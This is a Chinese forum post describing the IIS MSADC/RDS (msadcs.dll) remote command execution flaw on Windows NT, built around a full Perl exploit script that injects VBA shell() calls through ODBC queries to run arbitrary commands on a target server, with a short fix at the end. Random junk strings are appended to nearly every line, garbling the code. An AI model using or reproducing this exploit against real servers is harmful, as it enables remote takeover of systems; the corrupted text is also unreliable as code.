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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) {#l@9r%  
&.:yP3  
涉及程序: J|b:Zo9<f"  
Microsoft NT server >H?~2O  
=@k 3*#\  
描述: 6K5KkEp  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 `(L<Q%  
e(k$k>?  
详细: cKAZWON8;v  
如果你没有时间读详细内容的话,就删除: j*jq2u  
c:\Program Files\Common Files\System\Msadc\msadcs.dll u_S>`I  
有关的安全问题就没有了。 <PQ[N[SU  
\JGRd8S[  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 p+R8Mo;I  
<$`ud P@  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 nmrdqSV  
关于利用ODBC远程漏洞的描述,请参看: @3>nVa  
!7anJl  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm (ZEDDV2  
D"n 3If%  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 dUpOg{I.x  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 1I U*:Z;Rz  
Alb5#tm:m  
这里不再论述。 WR>2t&;E  
zyFbu=d|O:  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: eC-nV)]I9  
sJYs{Wm  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset mQt?d?6  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! rVx?Yo1F'  
:aMp,DfM]P  
Ps{}SZn  
#将下面这段保存为txt文件,然后: "perl -x 文件名" N+NS\Y5  
a<{+ J U5  
#!perl kx3]A"]>'  
# f%Bmx{Ttq  
# MSADC/RDS 'usage' (aka exploit) script Hy1f,D  
# evHKq}{  
# by rain.forest.puppy wB W]w  
# veGRwir  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ]i pltR7k  
# beta test and find errors! V %Rz(a+c  
pi?U|&.1z  
use Socket; use Getopt::Std; -\=kd {*B  
getopts("e:vd:h:XR", \%args); Gnmxp%&}P|  
Yim`3>#t  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; XWFuAE  
]#oqum@Yf1  
if (!defined $args{h} && !defined $args{R}) { (#k2S-5  
print qq~ Ic&Jhw;]z  
Usage: msadc.pl -h <host> { -d <delay> -X -v } #-u?+Nk/  
-h <host> = host you want to scan (ip or domain) @g'SH:}  
-d <seconds> = delay between calls, default 1 second @y`7csb p  
-X = dump Index Server path table, if available pxs`g&3yd  
-v = verbose j*;/Cah]k  
-e = external dictionary file for step 5 x kebel`%  
%O3 r>o=  
Or a -R will resume a command session D*#r V P  
^aO\WKkA  
~; exit;} IK^jzx   
YNi3oG]h  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; O}_Z"y  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} >|So`C3:e  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} kzLtI w&.  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); h|Uy!?l  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} K-*q3oh G  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } [-Dl,P=  
t Sf`  
if (!defined $args{R}){ $ret = &has_msadc; /h'b,iYVV  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 4d0<uB&v'  
>T<"fEBI  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" i&?do{YQ)  
. "cmd /c "; s*DDO67\W  
$in=<STDIN>; chomp $in; Zcn,_b7  
$command="cmd /c " . $in ; oXkxd3  
Fu cLcq2Z  
if (defined $args{R}) {&load; exit;} Ju7nvxC  
?#917M  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ~V4&l3o  
&try_btcustmr; y(RK|r  
Ka\%kB>*`  
print "\nStep 2: Trying to make our own DSN..."; SggS8$a`  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; fX2PteA0qX  
`&yUU2W  
print "\nStep 3: Trying known DSNs..."; OVm $  
&known_dsn; pJE317 p'  
4!dN^;Cb  
print "\nStep 4: Trying known .mdbs..."; pB;p\9A*q  
&known_mdb; L?n*b  
<ctn_"p Z  
if (defined $args{e}){ }Ik{tUS$  
print "\nStep 5: Trying dictionary of DSN names..."; If_S_A c  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } JOIbxU{U_  
&~7b-foCq  
print "Sorry Charley...maybe next time?\n"; :#QYwb~  
exit; h4^ a#%$  
( U |[C*  
############################################################################## UC34AKm  
Py8<db%  
sub sendraw { # ripped and modded from whisker <99Xg_e  
sleep($delay); # it's a DoS on the server! At least on mine... 3J{`]v5`  
my ($pstr)=@_; t>T |\WAAL  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || -)tu$W*  
die("Socket problems\n"); r='"X#CmV/  
if(connect(S,pack "SnA4x8",2,80,$target)){ dviL5Eaj  
select(S); $|=1; mu/O\'5  
print $pstr; my @in=<S>; ArUGa(; f  
select(STDOUT); close(S); WoiK _Ud  
return @in; y3K9rf  
} else { die("Can't connect...\n"); }} MD ,}-m  
)[>b7K$f  
############################################################################## 8 ]N+V:  
 mq?5|`  
sub make_header { # make the HTTP request RYaf{i`  
my $msadc=<<EOT 8JUUK(&Z  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 \gL H_$}  
User-Agent: ACTIVEDATA !ldb_*)h  
Host: $ip 451r!U1Z  
Content-Length: $clen 4l$(#NB<  
Connection: Keep-Alive HhaUC?JtSK  
q@p-)+D;  
ADCClientVersion:01.06 ! \H!9FR  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 "K z=Z C  
4cql?W(D  
--!ADM!ROX!YOUR!WORLD! 2hRaYX,g  
Content-Type: application/x-varg "}]1OL SV  
Content-Length: $reqlen g@.RfX=  
M ,8r{[2  
EOT D!~-53f@  
; $msadc=~s/\n/\r\n/g; ;jTP|q?|{  
return $msadc;} hp}J_/+4n  
@U%I 6 t  
############################################################################## 5[M?O4mi  
Ak$gh b  
sub make_req { # make the RDS request V$+xJ  m  
my ($switch, $p1, $p2)=@_; jl=<Q.Mm7  
my $req=""; my $t1, $t2, $query, $dsn; 5o5y3ibQ  
/GNRu  
if ($switch==1){ # this is the btcustmr.mdb query +'?p $@d  
$query="Select * from Customers where City=" . make_shell(); :xfD>K  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . (KHTgZ6  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 9/MUzt  
E {d Mdz  
elsif ($switch==2){ # this is general make table query oQ 5g0(J~  
$query="create table AZZ (B int, C varchar(10))"; iZQwo3"8r  
$dsn="$p1";} ](vsh gp2  
l/_3H\iM  
elsif ($switch==3){ # this is general exploit table query !=#E/il,  
$query="select * from AZZ where C=" . make_shell(); 3C8'0DB  
$dsn="$p1";} A?3hNvfx  
lkV% k1w  
elsif ($switch==4){ # attempt to hork file info from index server LF0gy3  
$query="select path from scope()"; sD.bBz  
$dsn="Provider=MSIDXS;";} I-i)D  
F9ry?g=h  
elsif ($switch==5){ # bad query x{C=rdp__  
$query="select"; ?MuM _6  
$dsn="$p1";} ?^us(o7-  
bv>;%TF  
$t1= make_unicode($query);  pFGK-J  
$t2= make_unicode($dsn); k'wF+>  
$req = "\x02\x00\x03\x00"; S'HM|&  
$req.= "\x08\x00" . pack ("S1", length($t1)); O9]j$,i  
$req.= "\x00\x00" . $t1 ; _$By c(.c  
$req.= "\x08\x00" . pack ("S1", length($t2)); Wy,DA^\ef  
$req.= "\x00\x00" . $t2 ; ~ @Ib:M  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; VY@uQ#&A  
return $req;} /g712\?M4  
rSB"0 W7  
############################################################################## Ywt_h;:  
8UoMOeI3  
sub make_shell { # this makes the shell() statement cn=~}T@~Z  
return "'|shell(\"$command\")|'";} l2=.;7 IV  
3~BL!e,  
############################################################################## }#q9>gx  
*8U+2zgfC  
sub make_unicode { # quick little function to convert to unicode b/'fC%o,  
my ($in)=@_; my $out; t/_w}  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } -c%GlpZw  
return $out;} 52tIe|KwL  
R 3 Eh47  
############################################################################## =V_} z3b  
$ # @G!  
sub rdo_success { # checks for RDO return success (this is kludge) N- ?U2V  
my (@in) = @_; my $base=content_start(@in); /]T#@>('  
if($in[$base]=~/multipart\/mixed/){ Xcicqywe?  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ()K%Rn  
return 0;} C+,;hj  
#18H Z4N  
############################################################################## m1VyYG  
`,aPK/  
sub make_dsn { # this makes a DSN for us PX[taDN  
my @drives=("c","d","e","f"); ^M  PU?k  
print "\nMaking DSN: "; 1okL]VrI  
foreach $drive (@drives) { x'; 6  
print "$drive: "; O:RPH{D  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . G[r_|-^S  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" OAR1u}  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); _+%-WFS|  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; xg'z_W  
return 0 if $2 eq "404"; # not found/doesn't exist ME1lQ7E4B  
if($2 eq "200") { "4H&wHhT!  
foreach $line (@results) { e\k=T}  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 7<AHQ<#@  
} return 0;} [L|H1ll  
AGn:I??  
############################################################################## LCRreIIgZ  
@W=#gRqQPy  
sub verify_exists { xqO'FQO%  
my ($page)=@_; RERum  
my @results=sendraw("GET $page HTTP/1.0\n\n"); zVZZdG~8  
return $results[0];} Jj|HeZ1C f  
Yp./3b VO  
############################################################################## n%3rv?m7  
2JYyvJ>  
sub try_btcustmr { /Bid:@R  
my @drives=("c","d","e","f"); . 3=WE@M  
my @dirs=("winnt","winnt35","winnt351","win","windows"); y^pk)`y8  
RhnSQe  
foreach $dir (@dirs) { -$?xR](f  
print "$dir -> "; # fun status so you can see progress wS <d8gw  
foreach $drive (@drives) { Eg5|XV  
print "$drive: "; # ditto nu}$wLM  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; PNd]Xmv)  
$reqlenlen=length( "$reqlen" ); O!lZ%j@%  
$clen= 206 + $reqlenlen + $reqlen; R?Ki~'k=  
B+iVK(j'[v  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 26yv w  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} +e`f|OQ  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 4VSlgoz  
Y;p _ff  
############################################################################## $s4rG=q  
x<"1T w5e  
sub odbc_error {  ^vYH"2  
my (@in)=@_; my $base; ]=2Ba<)m  
my $base = content_start(@in); b~Op1p  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this {^Vkxf]  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;  VD;Ot<%  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; PSI5$Vna4p  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; wRgmw 4  
return $in[$base+4].$in[$base+5].$in[$base+6];} rBkLwJ]  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; \s<{V7tq  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 2w'Q9&1~  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 0_}OKn)J  
(\, <RC\  
############################################################################## ?5Wjy  
yaMNt}y-q  
sub verbose { 6,G1:BV{K  
my ($in)=@_; BdG~y1%:  
return if !$verbose;  nk>  
print STDOUT "\n$in\n";} 3DV';  
ePq(:ih  
############################################################################## a57Y9.H`o  
xM8}Xo  
sub save { A)kx,,[  
my ($p1, $p2, $p3, $p4)=@_; ]U!vZY@\  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 4{(uw  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; X,IjM&o"Y  
close OUT;} sHyhR:  
?FVX &{{V  
############################################################################## w>p0ldi  
C$vKRg\o  
sub load { A`T VV  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; {2vk<  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); lTv I;zy  
@p=<IN>; close(IN); ,3.E]_3 xX  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ]{{A/ j\  
$target= inet_aton($ip) || die("inet_aton problems"); N#Y%+1  
print "Resuming to $ip ..."; h=.|!u  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; nW3-)Q89  
if($p[1]==1) { pzbR.L}'D  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 8V>j-C  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; .mn`/4  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 2qo=ud  
if (rdo_success(@results)){print "Success!\n";}  iE=Yh  
else { print "failed\n"; verbose(odbc_error(@results));}} =<e|<EwSZ  
elsif ($p[1]==3){ a*$to/^r  
if(run_query("$p[3]")){ mv O!Y  
print "Success!\n";} else { print "failed\n"; }} }=z_3JfO  
elsif ($p[1]==4){ @*]l.F   
if(run_query($drvst . "$p[3]")){ ^ llZf$`  
print "Success!\n"; } else { print "failed\n"; }} {E-.W"t4  
exit;} ]>E*s3h  
PUV)w\!&is  
############################################################################## uM h[Ht^.  
_T&?H&#  
sub create_table { J0*hJ-/u  
my ($in)=@_; <`i " 5`J  
$reqlen=length( make_req(2,$in,"") ) - 28; 15+>W4v  
$reqlenlen=length( "$reqlen" ); |!E>I  
$clen= 206 + $reqlenlen + $reqlen; dqnH7okZ  
my @results=sendraw(make_header() . make_req(2,$in,"")); y  >r7(qg  
return 1 if rdo_success(@results); z8_m<uewz  
my $temp= odbc_error(@results); verbose($temp); ns[v.YDL  
return 1 if $temp=~/Table 'AZZ' already exists/; {a\O7$A\F  
return 0;} 5ppOG_  
|iKk'Rta4  
############################################################################## (9% ki$=}+  
>A5R  
sub known_dsn { %@#+Xpa+  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ^hzlR[  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", f uQbDb&  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", $h`(toTyF  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); !O6e,l  
'9c`[^  
foreach $dSn (@dsns) { Aayh'xQ  
print "."; gKeqf-UWKJ  
next if (!is_access("DSN=$dSn")); g6{.C7m  
if(create_table("DSN=$dSn")){ . <`i!Ls  
print "$dSn successful\n"; 8^\}\@  
if(run_query("DSN=$dSn")){ \ZX5dFu0  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { T]-yTsto  
print "Something's borked. Use verbose next time\n";}}} print "\n";} i]J*lM7'  
g}"`@H(9r3  
############################################################################## d9>*a$x;/  
k"D6Vyy`  
sub is_access { X TEC0s"F  
my ($in)=@_; 0D/u`-  
$reqlen=length( make_req(5,$in,"") ) - 28; (|)`~z  
$reqlenlen=length( "$reqlen" ); 6zh<PETa03  
$clen= 206 + $reqlenlen + $reqlen; lffp\v{w  
my @results=sendraw(make_header() . make_req(5,$in,"")); Hy ^E m  
my $temp= odbc_error(@results); ;*1bTdB5a  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); x;)bp7  
return 0;} KY34Sc  
]E'BFon  
############################################################################## #N^TqOr  
\95qH ,w)T  
sub run_query { =F'p#N0_2  
my ($in)=@_; >}Qj|05G  
$reqlen=length( make_req(3,$in,"") ) - 28;  Ec IgX_\  
$reqlenlen=length( "$reqlen" ); 9pUvw_9MY  
$clen= 206 + $reqlenlen + $reqlen; <~;;iM6  
my @results=sendraw(make_header() . make_req(3,$in,"")); '{dduHo  
return 1 if rdo_success(@results); %E#OUo[y/  
my $temp= odbc_error(@results); verbose($temp); .Uq?SmK  
return 0;} b~X^vXIv%%  
wmKM:`&[5  
############################################################################## @ODwO;_R5  
E .^5N~.  
sub known_mdb { 9zSHn.y  
my @drives=("c","d","e","f","g"); CT,caa  
my @dirs=("winnt","winnt35","winnt351","win","windows"); DP\s-JpI[  
my $dir, $drive, $mdb; ' QGacV   
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; B?A c  
KwK[)Cvv  
# this is sparse, because I don't know of many ?PVJeFH  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Mx<z34(T  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", @)s;u}H  
"\\system32\\certmdb.mdb", #=F"PhiX`  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% uT'_}cw  
rE0?R( _  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", i;Cs,Esnf  
"\\cfusion\\cfapps\\forums\\forums_.mdb", pm$2*!1F(  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", K*iy^}  
"\\cfusion\\cfapps\\security\\realm_.mdb", bj23S&  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", V ij P;  
"\\cfusion\\database\\cfexamples.mdb", f0p+l -iEv  
"\\cfusion\\database\\cfsnippets.mdb", L#sw@UCK  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", <X[TjP  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", h/~:}Bof  
"\\cfusion\\brighttiger\\database\\cleam.mdb", r>73IpJI  
"\\cfusion\\database\\smpolicy.mdb", #p& &w1  
"\\cfusion\\database\cypress.mdb", !Ic;;<  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", Y.` {]rC  
"\\website\\cgi-win\\dbsample.mdb", Y<|!)JLB2  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", [-o`^;  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Gr9/@U+  
); #these are just vSty.:bY\p  
foreach $drive (@drives) { X"WKgC g$  
foreach $dir (@dirs){ <!b~7sZkTc  
foreach $mdb (@sysmdbs) { }$M 2XF  
print "."; '=MaO@ @  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ fxfzi{}uj  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; r @C2zF7  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ m|q?gX9R  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; [Du@go1C  
} else { print "Something's borked. Use verbose next time\n"; }}}}} GT\, @$r  
n\d`Fk  
foreach $drive (@drives) { i`[5%6\"&  
foreach $mdb (@mdbs) { [MSLVTR  
print "."; 'J^ M`/  
if(create_table($drv . $drive . $dir . $mdb)){ bwh7.lDAl  
print "\n" . $drive . $dir . $mdb . " successful\n"; kN3T/96  
if(run_query($drv . $drive . $dir . $mdb)){ tP; &$y.8  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; )|;*[S4  
} else { print "Something's borked. Use verbose next time\n"; }}}} ` nBCCz'Y!  
} n Q|4.e;  
zNSix!F  
############################################################################## iVq4&X_x  
").MU[q%Y  
sub hork_idx { *M5 : \+  
print "\nAttempting to dump Index Server tables...\n"; NGYliP,.6  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 5dffF e  
$reqlen=length( make_req(4,"","") ) - 28; aE}1~`  
$reqlenlen=length( "$reqlen" ); u\YH,  
$clen= 206 + $reqlenlen + $reqlen;  V|=PaO  
my @results=sendraw2(make_header() . make_req(4,"","")); B$~oZ'4v  
if (rdo_success(@results)){ whb|N2  
my $max=@results; my $c; my %d; DLMG<4Cd~  
for($c=19; $c<$max; $c++){ e$F]t *)Xa  
$results[$c]=~s/\x00//g; z;1y7W!v  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; %bI(   
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; |8I #`  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 8r '  
$d{"$1$2"}="";} .DSn H6O  
foreach $c (keys %d){ print "$c\n"; } (IX iwu  
} else {print "Index server doesn't seem to be installed.\n"; }} ^l1tQnj)7  
=H*}{'#  
############################################################################## F#=XJYG1  
t~pA2?9@  
sub dsn_dict { {MmHR  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); `@GqD  
while(<IN>){ >cwyb9;!kK  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; Z09FW>"u  
next if (!is_access("DSN=$dSn")); K/RQ-xd4  
if(create_table("DSN=$dSn")){ H5t 9Mg|  
print "$dSn successful\n"; (H*-b4]/  
if(run_query("DSN=$dSn")){ "8K>Yu17  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { R'a%_sACj>  
print "Something's borked. Use verbose next time\n";}}} wu?ahNb.`Y  
print "\n"; close(IN);} H <CsB  
i^P@?  
############################################################################## Z J(/cD  
Z=%+U _,  
sub sendraw2 { # ripped and modded from whisker ?fv?6r  
sleep($delay); # it's a DoS on the server! At least on mine... qGMM3a)Q  
my ($pstr)=@_; /x.TF'Z*  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Q,Tet&in )  
die("Socket problems\n"); ]2G5ng' @  
if(connect(S,pack "SnA4x8",2,80,$target)){ <%eY>E  
print "Connected. Getting data"; `B+%W  
open(OUT,">raw.out"); my @in; yu"Ii-9z  
select(S); $|=1; print $pstr; 2}j2Bhc  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ={' "ATX(U  
close(OUT); select(STDOUT); close(S); return @in; E_&Hje|J_[  
} else { die("Can't connect...\n"); }} ".L+gn}u-  
9fD4xkRS  
############################################################################## )/k0*:OMyO  
0z?b5D;  
sub content_start { # this will take in the server headers QFoZv+|  
my (@in)=@_; my $c; n<MMO=+bg  
for ($c=1;$c<500;$c++) { XfA3Ez,}  
if($in[$c] =~/^\x0d\x0a/){ zM6 yUEg  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 3_=~7B) 8  
else { return $c+1; }}}  {ZFa +  
return -1;} # it should never get here actually n+@}8;oeP  
7}bjJR "  
############################################################################## ];Whvdnv  
JV'd!5P  
sub funky { /=Ug}%.  
my (@in)=@_; my $error=odbc_error(@in); Q0~5h?V'  
if($error=~/ADO could not find the specified provider/){ M<JJQh5  
print "\nServer returned an ADO miscofiguration message\nAborting.\n";  p>v,b&06  
exit;} -Hzn7L  
if($error=~/A Handler is required/){ =/=x"q+X  
print "\nServer has custom handler filters (they most likely are patched)\n"; Ab7hW(/  
exit;} / uI/8>p(  
if($error=~/specified Handler has denied Access/){ oR}ir  
print "\nServer has custom handler filters (they most likely are patched)\n"; y8: 0VZox  
exit;}} O;M_?^'W  
#oMbE<//"  
############################################################################## 992;~lBu  
aKs!*uo0H  
sub has_msadc { FtN1ZZ"<*  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); []Cvma 1\  
my $base=content_start(@results); 6h>8^l  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); >V(>2eD'S  
return 0;} .jMm-vox}  
mFayU w  
######################## ]i*q*]x2u  
&QE^i%6>\  
';V(sRU@  
解决方案: I^Ichn  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll *lv)9L+0  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 L5T)_iQ5  
[e)81yZG>  
拿出来充数 哈哈
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